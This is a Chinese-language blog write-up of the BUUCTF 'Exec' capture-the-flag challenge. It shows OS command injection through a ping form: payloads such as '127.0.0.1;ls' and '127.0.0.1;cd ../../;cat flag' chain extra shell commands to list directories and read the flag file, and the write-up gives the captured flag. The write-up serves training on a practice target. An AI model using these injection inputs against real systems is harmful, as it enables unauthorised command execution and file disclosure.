

buuctf_Exec

原创

KLS_shine 于 2021-12-19 20:37:34 发布 404 收藏

分类专栏: BUUCTF 文章标签: linux

版权声明: 本文为博主原创文章, 遵循 CC 4.0 BY-SA 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_61968245/article/details/122023717

版权



[BUUCTF 专栏收录该内容](#)

9 篇文章 0 订阅

订阅专栏

0x01 题目链接

BUUCTF在线评测BUUCTF 是一个 CTF 竞赛和训练平台, 为各位 CTF 选手提供真实赛题在线复现等服务。

<https://buuoj.cn/challenges>

0x02 题目

打开题目就看到大大的PING,二话不说直接ping个本地ip



PING

127.0.0.1

PING

PING 127.0.0.1 (127.0.0.1): 56 data bytes

CSDN @KLS_shine

涉及知识点:

在命令执行的过程中, 可以通过一些常用特殊字符来执行其他语句

; //命令分割符, 即当执行完第一个命令, 继续执行下一个命令

| //管道

0x03 解题

那么尝试在当前文件加下, 有什么东西吧

构造payload

```
127.0.0.1;ls
```

PING

```
127.0.0.1;ls
```

PING

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes  
index.php
```

CSDN @KLS_shine

我们都知道在linux系统搭建的页面，通常显示页面的路径是/var/www/html，那么我们尝试返回当前路径查找构造payload

```
127.0.0.1;cd ../../;ls
```

PING

```
127.0.0.1;cd ../../;ls
```

PING

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes  
bin  
dev  
etc  
flag  
home  
lib  
media  
mnt  
opt  
proc  
root  
run  
sbin  
srv  
sys  
tmp  
usr  
var
```

CSDN @KLS_shine

在返回前三层的时候找到了flag字样

构造payload

```
127.0.0.1;cd ../../;cat flag
```

PING

```
127.0.0.1;cd ../../.;cat flag
```

PING

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes  
flag{d96c26a0-0c45-4c45-98e7-b1431ed7d479}
```

CSDN @KLS_shine

```
flag{d96c26a0-0c45-4c45-98e7-b1431ed7d479}
```